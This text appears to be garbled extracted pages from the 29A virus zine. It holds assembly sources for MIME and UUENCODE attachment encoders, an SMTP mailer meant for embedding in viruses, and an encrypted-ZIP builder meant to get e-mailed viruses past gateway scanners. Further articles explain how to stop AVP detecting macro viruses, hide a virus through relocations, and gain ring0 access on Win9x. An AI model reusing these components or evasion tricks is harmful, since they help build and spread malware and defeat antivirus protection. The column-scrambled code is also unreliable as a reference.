PUSH EBX FILE_ATTRIBUTE_NORMAL PUSH CREATE_ALWAYS PUSH EBX PUSH EBX PUSH GENERIC_WRITE CALL @2 DB 'OUTPUT.EML', 0 CALL CreateFileA MOV PUSH PUSH PUSH CALL DB DB DB DB DB DB DB DB DB DB PUSH [Output_Handle], EAX EBX OFFSET IO_Bytes_Count (@4-@3) @4 'MIME-Version: 1.0', 0Dh, 0Ah 'Content-Type: multipart/mixed; boundary=ir', 0Dh, 0Ah 0Dh, 0Ah '--ir', 0Dh, 0Ah 0Dh, 0Ah 'this is plain text', 0Dh, 0Ah '--ir', 0Dh, 0Ah 'Content-Type: application; name=binary.exe', 0Dh, 0Ah 'Content-Transfer-Encoding: base64', 0Dh, 0Ah 0Dh, 0Ah [Output_Handle]

@3:

@4:

CALL PUSH PUSH CALL CDQ MOV DIV DEC JS INC No_Round: Encode_Line: XCHG PUSH MOV PUSH PUSH PUSH PUSH PUSH CALL MOV PUSH PUSH POP Encode_Packet: PUSH MOV LODSB SHL LODSB SHL LODSB SHL MOV MOV Encode_Byte: SHR ROL XLAT STOSB LOOP POP

WriteFile EBX [Input_Handle] GetFileSize

ECX, (76/4)*3 ECX EDX No_Round EAX ECX, EAX ECX ESI, OFFSET Input_Buffer 0 OFFSET IO_Bytes_Count (76/4)*3 ESI [Input_Handle] ReadFile EDI, OFFSET Output_Buffer EDI 76/4 ECX ECX CL, 8

EAX, CL

EAX, CL

EAX, CL EBX, OFFSET Encoding_Table CL, 4 EAX, 2 EAX, 8

Encode_Byte ECX

LOOP MOV POP PUSH PUSH PUSH PUSH PUSH CALL POP LOOP PUSH CALL DD PUSH CALL DB PUSH CALL PUSH = CALL PUSH = CALL

Encode_Packet WORD PTR [EDI], 0A0Dh EAX 0 OFFSET IO_Bytes_Count 78 EAX [Output_Handle] WriteFile ECX Encode_Line 0 @5 0 (@7-@6) @7 '--ir--', 0Dh, 0Ah [Output_Handle] WriteFile 12345678h DWORD PTR $-4 CloseHandle 12345678h DWORD PTR $-4 CloseHandle ; <CRLF>.

IO_Bytes_Count @5: @6: @7:

Output_Handle

Input_Handle

Exit: CALL

PUSH 0 ExitProcess 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz' '0123456789+/' 200 DUP(0) 200 DUP(0)

Encoding_Table: DB DB DB Input_Buffer Output_Buffer DB DB

END START ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MIME.ASM]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UUENCODE.ASM]ÄÄÄ ; UUENCODE attachment encoder. .386 FLAT .DATA ExitProcess:PROC CreateFileA:PROC CloseHandle:PROC ReadFile:PROC WriteFile:PROC GetFileSize:PROC EQU EQU 00000003h 00000002h

.MODEL

EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN OPEN_EXISTING CREATE_ALWAYS

FILE_ATTRIBUTE_NORMAL GENERIC_READ GENERIC_WRITE START: XOR

EQU EQU EQU

00000080h 80000000h 40000000h

EBX, EBX

PUSH PUSH

@1:

PUSH EBX FILE_ATTRIBUTE_NORMAL OPEN_EXISTING PUSH EBX PUSH EBX PUSH GENERIC_READ CALL @1 DB 'INPUT.BIN', 0 CALL CreateFileA MOV [Input_Handle], EAX

PUSH

@2:

PUSH EBX FILE_ATTRIBUTE_NORMAL PUSH CREATE_ALWAYS PUSH EBX PUSH EBX PUSH GENERIC_WRITE CALL @2 DB 'OUTPUT.UUE', 0 CALL CreateFileA MOV PUSH PUSH PUSH CALL DB PUSH CALL PUSH PUSH CALL XOR MOV DIV DEC JS INC [Output_Handle], EAX EBX OFFSET IO_Bytes_Count 22 @3 'begin 644 binary.exe', 0Dh, 0Ah [Output_Handle] WriteFile EBX [Input_Handle] GetFileSize EDX, EDX ECX, 45 ECX EDX No_Round EAX ECX, EAX ECX ESI, OFFSET Input_Buffer 0 OFFSET IO_Bytes_Count 45 ESI [Input_Handle]

@3:

No_Round: Encode_Line:

XCHG PUSH MOV PUSH PUSH PUSH PUSH PUSH

CALL MOV CLD MOV STOSB PUSH POP Encode_DWORD: LODSD DEC SHL MOV ROL XCHG ROR MOV PUSH PUSH POP Encode_Byte: SHR ROR ADD CMP JNE MOV STOSB ROL SHL LOOP POP LOOP MOV STOSW PUSH PUSH PUSH PUSH PUSH CALL

ReadFile EDI, OFFSET Output_Buffer

AL, (45 + 20h)

; Decoded length of 45 bytes.

(45 / 3) ECX

; Process 45 bytes.

ESI EAX, 8 BH, AH EAX, 8 AL, BH EAX, 8 AH, BH ECX 4 ECX EAX, 2 EAX, 3*8 AL, 20h AL, 20h Store_Encoded AL, 60h ; It's a space?

Store_Encoded:

EAX, 3*8 EAX, 8 Encode_Byte ECX Encode_DWORD AX, 0A0Dh ; Store <CR> & <LF>.

0 OFFSET IO_Bytes_Count 63 OFFSET Output_Buffer [Output_Handle] WriteFile

POP LOOP PUSH CALL DD PUSH CALL DB PUSH CALL PUSH = CALL PUSH = CALL

ECX Encode_Line ECX @4 0 8 @5 '`', 0Dh, 0Ah, 'end', 0Dh, 0Ah [Output_Handle] WriteFile 12345678h DWORD PTR $-4 CloseHandle 12345678h DWORD PTR $-4 CloseHandle

IO_Bytes_Count @4:

@5:

Output_Handle

Input_Handle

Exit: CALL Input_Buffer Output_Buffer

PUSH 0 ExitProcess DB DB 45 DUP(0) 63 DUP(0)

END START ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UUENCODE.ASM]ÄÄÄ

; SMTP client. ; Sends an e-mail using the Outlook SMTP server specified in the registry. ; .386 .MODEL .DATA JUMPS EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN

FLAT

; So I don't have to mess around with JMPs.

ExitProcess:PROC WSAStartup:PROC WSACleanup:PROC gethostbyname:PROC socket:PROC closesocket:PROC connect:PROC select:PROC recv:PROC send:PROC RegCloseKey:PROC RegQueryValueExA:PROC RegOpenKeyExA:PROC EQU EQU EQU EQU EQU 1 ; Stream socket. 2 ; Internetwork: UDP, TCP, etc. 80000001h 1 1

SOCK_STREAM AF_INET HKEY_CURRENT_USER KEY_QUERY_VALUE REG_SZ START: Get_EIP: CALL POP SUB XOR LEA LEA PUSH PUSH PUSH CALL DB PUSH CALL CALL DD LEA PUSH PUSH PUSH CALL DB PUSH CALL PUSH CALL

Get_EIP EBP EBP, (Get_EIP-START) EBX, EBX

; Get delta offset, incase ; someone would want to stuff ; this in a virus.

EDI, [EBP+(Reg_Handle-START)] EAX, [EBP+(Reg_Handle-START)] EAX KEY_QUERY_VALUE EBX @1 'Software\Microsoft\Internet Account Manager', 0 HKEY_CURRENT_USER RegOpenKeyExA @2 9 EAX, [EBP+(Account_Index-START)] EAX EBX EBX @3 'Default Mail Account', 0 DWORD PTR [EBP+(Reg_Handle-START)] RegQueryValueExA DWORD PTR [EBP+(Reg_Handle-START)] RegCloseKey

@1:

@2:

@3:

Account_Index: @4:

PUSH PUSH PUSH CALL DB DB PUSH CALL CALL DD LEA PUSH PUSH PUSH CALL DB PUSH CALL PUSH CALL PUSH PUSH CALL OR JNZ

OFFSET Reg_Handle KEY_QUERY_VALUE EBX @4 'Software\Microsoft\Internet Account Manager\Accounts\' '00000000', 0 HKEY_CURRENT_USER RegOpenKeyExA @5 30 EAX, [EBP+(SMTP_Name-START)] EAX EBX EBX @6 'SMTP Server', 0 DWORD PTR [EBP+(Reg_Handle-START)] RegQueryValueExA DWORD PTR [EBP+(Reg_Handle-START)] RegCloseKey OFFSET WSA_Data 0101h WSAStartup EAX, EAX Exit ; Winsock data. ; Version 1.1 (Win95+).

@5:

@6:

; Error?

; Convert the DNS name to an IP address. LEA PUSH CALL XCHG JECXZ MOV LODSD PUSH POP PUSH PUSH PUSH CALL MOV INC JZ PUSH CALL DW DB DD DB PUSH CALL EAX, [EBP+(SMTP_Name-START)] EAX gethostbyname ECX, EAX Free_Winsock ESI, [ECX+12] ; Error?

; Fetch IP address.

DWORD PTR [EAX] DWORD PTR [EBP+(Server_IP-START)] 0 SOCK_STREAM AF_INET socket ; Create a socket.

[EBP+(Work_Socket-START)], EAX EAX Free_Winsock ; Error?

Server_IP @7:

16 ; Size of connect structure. @7 ; Connect structure. AF_INET ; Family. 0, 25 ; Port number. 0 ; IP of server. 8 DUP(0) ; Unused. DWORD PTR [EBP+(Work_Socket-START)] connect

INC JZ LEA MOV

EAX Close_Socket

; Error?

ESI, [EBP+(Send_Table-START)] BL, 6

; Wait up to 5 seconds for incoming data, ; or else close the connection. This is ; done to prevent an endless block. Command_Loop: XOR CALL DD DD PUSH PUSH CALL DD DD PUSH CALL DEC JNZ LEA PUSH PUSH PUSH PUSH CALL XCHG JECXZ INC JZ OR JZ MOV CMP JNE INC Check_Reply: SCASB JE EAX, EAX @8 5 0 EAX EAX @9 1 0 EAX select ; ; ; ; ; ; ; ; ; Time-out: - Seconds. - Milliseconds. Error (not used). Writeability (not used). Readability: - Socket count. - Socket. Unused.

Time_Out: @8:

Socket_Set: Work_Socket @9:

EAX Close_Socket

; Socket can be read? ; Else close up.

EDI, [EBP+(Buffer-START)] 0 ; Receive data from the 512 ; socket. EDI DWORD PTR [EBP+(Work_Socket-START)] recv ECX, EAX Close_Socket ECX Close_Socket EBX, EBX Close_Socket AL, '2' BL, 2 Check_Reply EAX ; Connection closed?

; Error?

; Received stuff was the QUIT ; reply? Then close up. ; "OK" reply. ; Received stuff was the DATA ; reply? ; "OK, send the rest" reply. ; Check for correct reply. ; Yep, so go on.

Wait_Ready

; An error occurred, so we gracefully close down the ; connection by sending a QUIT command to the server. LEA MOV ESI, [EBP+(Send_Table-START)+(5*4)] BL, 1

; Poll if the socket can be written ; to or bail after 5 seconds.

Wait_Ready:

XOR LEA PUSH PUSH LEA PUSH PUSH PUSH CALL DEC JNZ CLD LODSD MOVZX SHR ADD

ECX, ECX EAX, [EBP+(Time_Out-START)] EAX ECX ; Error (not used). EAX, [EBP+(Socket_Set-START)] EAX ; Writeability. ECX ; Readability (not used). ECX ; Unused. select EAX Close_Socket ; Time-out?

@10:

@11:

; Fetch offset + size of next ; SMTP command. ECX, AX EAX, 16 EAX, EBP

; Add delta offset.

; Send command/data to the socket. PUSH PUSH PUSH PUSH PUSH CALL POP CMP JNE DEC JNS Close_Socket: PUSH CALL CALL PUSH CALL DW DW DW DW DW DW ECX 0 ECX ; Size of buffer. EAX ; Buffer. DWORD PTR [EBP+(Work_Socket-START)] send ECX EAX, ECX Close_Socket EBX Command_Loop ; All bytes were sent? ; Else close connection. ; Did all commands so far? ; If not, continue.

DWORD PTR [EBP+(Work_Socket-START)] closesocket WSACleanup 0 ExitProcess ; Back to Windoze.

Free_Winsock: Exit:

Send_Table:

(esHELO-sHELO), (sHELO-START) (esMAIL-sMAIL), (sMAIL-START) (esRCPT-sRCPT), (sRCPT-START) (esDATA-sDATA), (sDATA-START) (End_Body-Body), (Body-START) (esQUIT-sQUIT), (sQUIT-START)

; Identify us to the server, keep in mind that ; some servers check if this host is correct. sHELO esHELO: DB 'HELO host.name.of.sender', 0Dh, 0Ah

; This is the addy the mail gets returned to when it can't be delivered.

; If you don't want to get notified of failures, use a blank addy ('<>'). sMAIL esMAIL: DB 'MAIL FROM:<T2000_@hotmail.com>', 0Dh, 0Ah

; To whom the mail should be delivered. sRCPT esRCPT: sDATA esDATA: DB 'RCPT TO:<T2000_@hotmail.com>', 0Dh, 0Ah

DB

'DATA', 0Dh, 0Ah

; Header of the body. Body: DB DB DB 'From: "Ben Dover" <bendover@crapmail.com>', 0Dh, 0Ah 'Subject: Fuck You', 0Dh, 0Ah 0Dh, 0Ah

; Main body. DB DB DB End_Body: sQUIT esQUIT: Reg_Handle SMTP_Name WSA_Data Buffer DB 'QUIT', 0Dh, 0Ah 'This is the body of the e-mail', 0Dh, 0Ah 'bla bla bla die die bla bla', 0Dh, 0Ah '.', 0Dh, 0Ah ; End of data command.

DD DB DB DB

0 30 DUP(0) 400 DUP(0) 512 DUP(0)

; For more info consult RFC 821 (SMTP). END START

; ; ; ; ; ;

Constructs an encrypted .ZIP-file from an input file. Written to be incorporated into e-mail virii, to evade e-mail gateway scanners (as they can't decrypt the file). The decryption password can be supplied in the body of the e-mail, or in the filename (ie. password.is.virus.zip), etc.

.386 .MODEL .DATA

FLAT

EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN

CreateFileA:PROC CloseHandle:PROC GetFileSize:PROC VirtualAlloc:PROC ReadFile:PROC WriteFile:PROC ExitProcess:PROC GetTickCount:PROC

FILE_ATTRIBUTE_NORMAL GENERIC_READ GENERIC_WRITE CREATE_ALWAYS OPEN_EXISTING PAGE_READWRITE MEM_RESERVE MEM_COMMIT Input_File Output_File Local_Header: DB DB

EQU EQU EQU EQU EQU EQU EQU EQU

00000080h 80000000h 40000000h 00000002h 00000003h 00000004h 00002000h 00001000h

'INPUT.666', 0 'ENCODED.ZIP', 0 04034B50h (2*10) 1 0 8C28h 28E4h 0 0 0 12 0 'FILENAME.TXT' ;local file header signature ;version needed to extract ;general purpose bit flag ;compression method ;last mod file time ;last mod file date ;crc-32 ;compressed size ;uncompressed size ;filename length ;extra field length ;filename (variable size)

DD DW DW DW DW DW LH_CRC DD LH_Compr_Size DD LH_Uncompr_Size DD DW DW DB End_LH: Central_Header: DD DW DW DW DW DW DW CH_CRC DD CH_Compr_Size DD CH_Uncompr_Size DD DW DW DW DW

02014B50h (2*10) (2*10) 1 0 8C28h 28E4h 0 0 0 12 0 0 0

;central file header signature ;version made by ;version needed to extract ;general purpose bit flag ;compression method ;last mod file time ;last mod file date ;crc-32 ;compressed size ;uncompressed size ;filename length ;extra field length ;file comment length ;disk number start

DW DD DD DB End_CH: End_CH_Dir: DD DW DW DW DW DD ECD_Central_Dir DD

0 0 0 'FILENAME.TXT'

;internal ;external ;relative ;filename

file attributes file attributes offset of local header (variable size)

06054B50h 0 0

DW End_End_CH_Dir: Cipher_Key DB End_Cipher_Key: Key0 Key1 Key2 CRC_Init File_Handle Archive_Size Byte_To_CRC Temp DD DD DD DD DD DD DB DD .CODE START: XOR PUSH PUSH PUSH PUSH PUSH PUSH PUSH CALL MOV PUSH PUSH CALL MOV MOV ADD MOV MOV ADD

;end of central dir signature ;number of this disk ;number of the disk with the ;start of the central directory 1 ;total number of entries in ;the central dir on this disk 1 ;total number of entries in ;the central dir (End_CH-Central_Header);size of the central directory (Central_Header-Local_Header) ;offset of start of central ;directory with respect to ;the starting disk number 0 ;zipfile comment length

'succubus'

; The .ZIP password.

305419896 591751049 878082192 0FFFFFFFFh 0 0 0 0

; The encryption keys.

EBP, EBP EBP EBP OPEN_EXISTING EBP EBP GENERIC_READ OFFSET Input_File CreateFileA File_Handle, EAX EBP File_Handle GetFileSize LH_Uncompr_Size, EAX CH_Uncompr_Size, EAX EAX, 12 LH_Compr_Size, EAX CH_Compr_Size, EAX ECD_Central_Dir, EAX

; EBP is always 0. ; Open file to encapsulate ; in encrypted Zip-archive.

; Get it's size.

; Fill-in some of Zip-header.

; Add size of random ; encryption header.

MOV PUSH PUSH PUSH PUSH CALL MOV ADD

Archive_Size, EAX PAGE_READWRITE ; Allocate memory for input. MEM_RESERVE OR MEM_COMMIT EAX EBP VirtualAlloc EDI, EAX EAX, 12 ; After the random encryption ; header. ; Read-in the file to encode.

PUSH PUSH PUSH PUSH PUSH CALL PUSH CALL

EBP OFFSET Temp Archive_Size EAX File_Handle ReadFile File_Handle CloseHandle

PUSH

PUSH EBP FILE_ATTRIBUTE_NORMAL PUSH CREATE_ALWAYS PUSH EBP PUSH EBP PUSH GENERIC_WRITE PUSH OFFSET Output_File CALL CreateFileA MOV CALL PUSH POP MOV CALL MOV MOV CALL File_Handle, EAX Generate_Zip

; Create output .ZIP-file.

; Construct the zip-package.

(End_LH-Local_Header) ; Write Local File Header. ECX EDX, OFFSET Local_Header Write_File ECX, Archive_Size EDX, EDI Write_File ; Write encoded file packet.

; Write Central File Header + End Of Central Directory. PUSH POP PUSH POP CALL PUSH CALL Exit: PUSH CALL (End_End_CH_Dir-Central_Header) ECX OFFSET Central_Header EDX Write_File File_Handle CloseHandle EBP ExitProcess

Write_File: PUSH PUSH EBP OFFSET Temp

PUSH PUSH PUSH CALL RETN

ECX EDX File_Handle WriteFile

Generate_Zip: PUSHAD ; Initialize the 3 encryption ; keys with the password. PUSH POP MOV Init_Keys: LODSB CALL LOOP (End_Cipher_Key-Cipher_Key) ECX ESI, OFFSET Cipher_Key

Update_Keys Init_Keys

; Update keys with AL.

; Generate a random 12-byte encryption header. PUSH CALL STOSD XOR STOSD ADD STOSD MOV MOV CALL MOV MOV DEC ROL STOSB POP EAX, 0DEADBEEFh EDI GetTickCount ; This header should be fully ; random but this will do ; aswell (less code).

EAX, -666

ECX, LH_Uncompr_Size ESI, EDI CRC LH_CRC, EAX CH_CRC, EAX EDI EAX, (1*8)

; Calculate the CRC of the ; stored data.

; Save it.

; The last byte of the random ; encryption header must be ; the high byte of the CRC.

EDI

; Encrypt the random encryption header ; and the actual data stream. MOV Encrypt_Stream: MOV OR MOV XOR ECX, LH_Compr_Size EAX, Key2 AL, 2 EBX, EAX AL, 1

MUL XOR XCHG MOV CALL INC LOOP POPAD RETN

BX AH, [EDI] [EDI], AH AL, AH Update_Keys EDI Encrypt_Stream

; Updates the 3 encryption keys with the character in AL. Update_Keys: PUSHAD MOV CALL NOT MOV MOVZX ADD MOV MUL INC MOV MOV SHR CALL NOT MOV POPAD RETN EDX, Key0 Update_CRC EAX Key0, EAX EAX, AL EAX, Key1 ECX, 134775813 ECX EAX Key1, EAX EDX, Key2 EAX, (3*8) Update_CRC EAX Key2, EAX

Update_CRC: PUSH POP MOV MOV MOV CRC: PUSH PUSH ESI 1 ECX CRC_Init, EDX ESI, OFFSET Byte_To_CRC [ESI], AL EDX ; Original code by Sepultura.

PUSH POP XCHG CLD Load_Character: LODSB XOR MOV CRC_Byte: DL, AL AL, 8 SHR JNC XOR Loop_CRC_Byte: JNZ

-1 EDX CRC_Init, EDX

EDX, 1 Loop_CRC_Byte EDX, 0EDB88320h

DEC AL CRC_Byte LOOP Load_Character EDX, EAX EAX

Exit_Calc_CRC:

XCHG NOT

POP POP

ESI EDX RETN END START

How to get AVP not detecting viruses in OLE2 files: -------------------------------------------------Note: OLE2 files are used by the majority of Office applications or by Windows itself (.SHS files). They start with 0xD0, 0xCF bytes. I discovered this problem of AVP some time ago when i was disassembling some routine of his code. Procedure : 1.- Take a macro virus and check AVP is detecting it. 2.- Open the file with a hex-editor and go to 0x48 position. 3.- Look at the double word; it should be 0 if the file is not too big. 4.- Change it for other value very high (example: 0x99999999). 5.- Check the file with AVP again and you will see it doesn't detect anything. 6.- You can check that the virus is still active and Word will load the file without any kind of problems. :-) You also can check that all the other AVs detect it without problems. Explanation: OLE2 files are like an easy file system, organized into something similar as a FAT. For big file it uses a double FAT; his size is at 0x48 position (if it's 0 means is not being used) and in the position 0x44 is his initial "sector". AVP, before analyze a file, tries to check if it's corrupted. In this case we are making believe him that the file is bigger compared with the real size of the disk and AVP believes is truncated. That's why AVP doesn't analyze it. Why Word and all the other antiviruses are not having the same problem? Because they don't try to access to that field and never will access due the file is smaller they never need to access really to those so high positions of the file. Tcp/29A

Encryptation through relocs Until now relocs section (.reloc) has been very useful (curiously by useless) for virus coders. Why? Virus coders overwrite it to hide an increase of size after the infection. Nothing to worry because when Windows loads an executable it gives a new virtual address space and it will be loaded into the base address indicated in his header and it's not necessary to apply the relocs. That's the reason why by default some compilers don't include the .reloc section except if you tell the contrary. Of course, it doesn't happen the same with DLLs since it's more common they have their base already busy (at least it's already loaded the executable and usually there will be other DLLs) then it will must to be loaded into other base address and applied new relocs based in the new base. Let's see what happens when a module is loaded into another different base of the indicated in the header and it's needed to apply relocs; each entry in the relocs table point to the addresses of the module that are needed to be reseted. To the content of each of these addresses is subtracted the indicated base in the header (since it's already reseted respect to that base) and it's added the base where it has been loaded really. Other fact we will use is that if to an executable we put a base where we know it will not be loaded, Windows by default tries to load it at 0x400000. Taking care of all these, we are going to get encrypted a virus and the own Windows will decrypt it, i mean, it will not be needed any decryption routine. First, we need the host having his base at 0x400000 and we need to null his relocs (if it has any). Now we change the base to the executable for one we know Windows will not accept, per example we take 0x12345678. With this we will get Windows loading the executable at 0x400000 and applying the relocs; It's due to that we have nulled the relocs of the host since finally it's being loaded his choosed base. Now we create a new .reloc section pointing each DWORD from the body of the virus and we encrypt every DWORD of the virus in the next way: DWORD virus + 0x12345678 - 0x400000 We do that since when Windows loads the executable at 0x400000 what it will do will be subtract the header of the base (0x12345678) and add the real base (0x400000). This way: (virus + 0x12345678 - 0x400000) - 0x12345678 + 0x400000 = virus; We've gotten Windows finally decrypting our virus and then it's different to how it was in disk without execute any instruction (it's only needed whereupon it has been loaded into a debugger per example :-) In NT there are limitations to the use of this method since it doesn't want to load the executable if it finds a strange base (i believe it must to be multiple of 64KB). Tcp/29A

; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Win9x Ring0 Quest ³ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ; ³ ³ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ; ³ part I ³ ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ; ³ ³ ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ; ³ by Super/29A ³ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; ; ; ;This is my first article about ring0, although I have been obsessed with ;this stuff for ages. In this article I'll discuss all known and unknown ;techniques we can use to obtain ring0 access in Win9x platform. I think ;ring0 quest for WinNT platform deserves its own article; I'm currently ;researching new ways to get ring0 for WinNT (including Win2000) using ;some exploits. But I'm afraid you will have to wait for a future 29A ;issue. Meanwhile, I hope you enjoy this article. ; ;I have collected some techniques from existing viruses (some of them are ;mine) and I have written some more that I believe haven't been used on ;any virus yet. If you happen to discover any other way to get ring0, ;please let me know... It'll be exciting for me to gain more ring0 power! ; ;As you have noticed, this article can be compiled with TASM32, heheheh ;I have decided to do it this way, so you can compile all code and follow ;step by step, as you read the explanations in the comments. I've tried to ;code without optimizations, so you don't suffer trying to understand what ;the code does. If by chance you find some strange code, skip it and get ;to next one ;-D ; ;Oh! btw, if you hear some ambulance in your PC speaker... don't panic ;-) ;If you hear nothing, please, go to a doctor!!! X-DDD ; ;Compile as follows: ; TASM32 -ml -m29A ring0.asm ; TLINK32 -Tpe -aa -c -x ring0.obj,ring0.exe,,import32.lib ; ; ;skip the beginning... it's boring ;-) ;(go directly to code section) ; ; ;Due to lack of time, I had to break this tutorial in two pieces. Part two ;will be available soon, along with WinNT stuff (i hope!) ;=================================================================== ; LET's BEGIN ... ;=================================================================== .386p locals jumps .model flat

;if u can read this, u dont need glasses

hahahah

;some APIs that we need... extrn extrn extrn extrn extrn MessageBoxA : near GetVersion : near GetVersionExA : near GetModuleHandleA : near ExitProcess : near

;some defines that may be interesting... Pushad equ 20h

;=================================================================== ; DATA SECTION ;=================================================================== .data Msg0 Msg1 Msg2 Msg3 db db db db 'Ring0 Quest',0 'Starting...',0 'Bye Bye!!!',0 'WinNT still not supported',0

Freq db 08h aNTDLL db 'NTDLL.DLL',0 aKERNEL32 db 'KERNEL32.DLL',0 VersionInfo db 94h dup(0) GDTR db 6 dup(?) IDTR db 6 dup(?) LDTR dw ? _LDTR db 6 dup(?) FreeGDT1 dw ? FreeLDT1 dw ? CallGate db 6 dup(?) VxdCall dd ?

;=================================================================== ; CODE SECTION ;=================================================================== .code

;===> <=== ;===> U should start reading HERE <=== ;===> <=== Start proc near ; int 3 pushad ;-) ; preserve registers

;some nice presentation (don't forget to press the button X-D) push push push push call 0 offset Msg0 offset Msg1 0 MessageBoxA

;Before jumpping to ring0, we should detect the windows platform. It should ;be Win9x, not WinNT. Here I present you many methods of doing so. They all ;should work fine... choose one...

;Avoiding WinNT : method 1 ;~~~~~~~~~~~~~~~~~~~~~~~~~ ;GetVersion API returns some interesting information in a DWORD. ;If the most significant bit is set to one, the platform is Win9x, ;else it indicates winNT. call GetVersion or eax,eax jns @@WinNT

;Avoiding WinNT : method 2 ;~~~~~~~~~~~~~~~~~~~~~~~~~ ;GetVersionExA API returns a lot more info in the OSVERSIONINFO structure ;which is 94h bytes long. The first dword should contain the size of this ;structure. the fifth dword (offset 10h) is the dwPlatformId value, which ;identifies the platform. ;Value 0 means Win32s on windows3.x ;value 1 means Win9x ;value 2 means WinNT mov esi,offset VersionInfo mov dword ptr [esi],94h push esi call GetVersionExA xchg ecx,eax jecxz @@WinNT cmp dword ptr [esi+10h],1 jnz @@WinNT

;Avoiding WinNT : method 3 ;~~~~~~~~~~~~~~~~~~~~~~~~~ ;This is a very simple and short method of detecting Win9x. The Kernel32 ;is responsible for giving the control to the host (or virus entrypoint), ;by means of a "JMP EAX" instruction (that's why EAX contains the address ;of the EntryPoint in Win9x platforms). When Host gets control there is ;a dword pushed in the stack, which is the address of a KERNEL32 routine ;that gets control if we exit with a simple RET instruction. That code ;is inside KERNEL32, which has an image base of 0BFF70000h in Win9x ;platform. So, we can simply check high byte 0BFh to ensure that we ;are on Win9x. cmp byte ptr [esp+Pushad+03h],0BFh jnz @@WinNT ;if you prefer a more optimized version, you can use the following code ;(only if you haven't pushed any value since you got control), extracted ;from my Repus.168 virus: ; ;(dont execute this here, because stack has been modified) ; ; pop eax ; push eax ; inc eax ; EAX<80000000h on WinNT platform

;

jns @@WinNT

;Avoiding WinNT : method 4 ;~~~~~~~~~~~~~~~~~~~~~~~~~ ;We can do something similar to previous method, but using GetModuleHandle ;API to get the image base of KERNEL32, and decide if its WinNT according ;to its value: push offset aKERNEL32 call GetModuleHandleA or eax,eax jns @@WinNT

;Avoiding WinNT : method 5 ;~~~~~~~~~~~~~~~~~~~~~~~~~ ;We can also use GetModuleHandle API to check for modules that only WinNT ;has loaded in memory, such as: HAL.DLL, NTDLL.DLL, etc... ;Other possibility would be to use GetProcAddress API to get the address ;of a WinNT specific routine. If it doesnt exist, then we are not in WinNT push offset aNTDLL call GetModuleHandleA or eax,eax jnz @@WinNT

;Avoiding WinNT : method 6 ;~~~~~~~~~~~~~~~~~~~~~~~~~ ;Another simple method consists on checking the value of the CS selector ;(other selector could also be checked). ; ;Under WinNT platform: ; ring0 CS = 0008h ; ring0 DS = 0010h ; ring3 CS = 001Bh ; ring3 DS = 0023h ; ;However, Win9x platforms have a higher value, above 100h, so we can exploit ;this difference. The following code is extracted from my Repus.256 virus: mov ecx,cs xor cl,cl jecxz @@WinNT

;Avoiding WinNT : method 7 ;~~~~~~~~~~~~~~~~~~~~~~~~~ ;Other simple way of detecting WinNT is to check if a LDT exists. If it ;doesn't exist, then it must be WinNT. If it has a non zero value, then ;it is Win9x (win32 applications have LDT) sldt cx jcxz @@WinNT

;I think it's enough for detecting WinNT. There are a lot more ways of

;detecting WinNT platform. If you discover some short and interesting ;way, please send it to me. It would be convenient to use SEH to avoid ;unexpected errors while checking the platform. SEH can also be used ;to detect platform if you touch things that WinNT wouldn't permit it. ;I also suggest you make this checks metamorphic, so AVers cannot rely ;on this to discover suspected behaviour.

;I know you can't wait more... so, lets start the Ring0 Quest... ;I will first present standard methods of jumpping to ring0, through ;CallGates, IntGates and ExceptionGates. You can get a lot of information ;on these methods from Intel manuals (take a look if you don't understand ;the meaning of some bits) ;lets get some information about protected mode... sgdt fword ptr [GDTR] sidt fword ptr [IDTR] sldt word ptr [LDTR] ;lets get the LDT base, for later usage movzx esi,word ptr [LDTR] add esi,dword ptr [GDTR+2] mov mov mov mov mov mov mov mov ax,[esi] word ptr [_LDTR+0],ax ax,[esi+2] word ptr [_LDTR+2],ax al,[esi+4] byte ptr [_LDTR+4],al al,[esi+7] byte ptr [_LDTR+5],al

; save limit of LDT ; save LDT base

;Getting Ring0 : CallGates ;~~~~~~~~~~~~~~~~~~~~~~~~~ ;The CallGate mechanism is very simple. We only need a free GDT or LDT ;entry, to fill it with the address of our ring0 code, the ring0 selector ;(we have used 28h which is Win9x ring0 code selector, but you can create ;your own ring0 code selector instead) and the right bits to make it work ;as a 32-bit callgate. To get into ring0 we just need to make a call far ;to the choosen ring0 code selector, and any offset (it doesn't matter ;which one we use); in our example we have shoosen a null offset. When ;our ring0 code gets control, CS:EIP has been pushed into the stack, ;so in order to get back to ring3, we must use the RETF instruction. ;Here we have an example using GDT... call Search_GDT mov esi,dword ptr [GDTR+2] push offset Ring0Code_retf pop word ptr [esi+eax+0] mov word ptr [esi+eax+2],0028h mov word ptr [esi+eax+4],0EC00h pop word ptr [esi+eax+6] mov [FreeGDT1],ax

and dword ptr [CallGate],0 mov word ptr [CallGate+4],ax call fword ptr [CallGate] ; ring0!

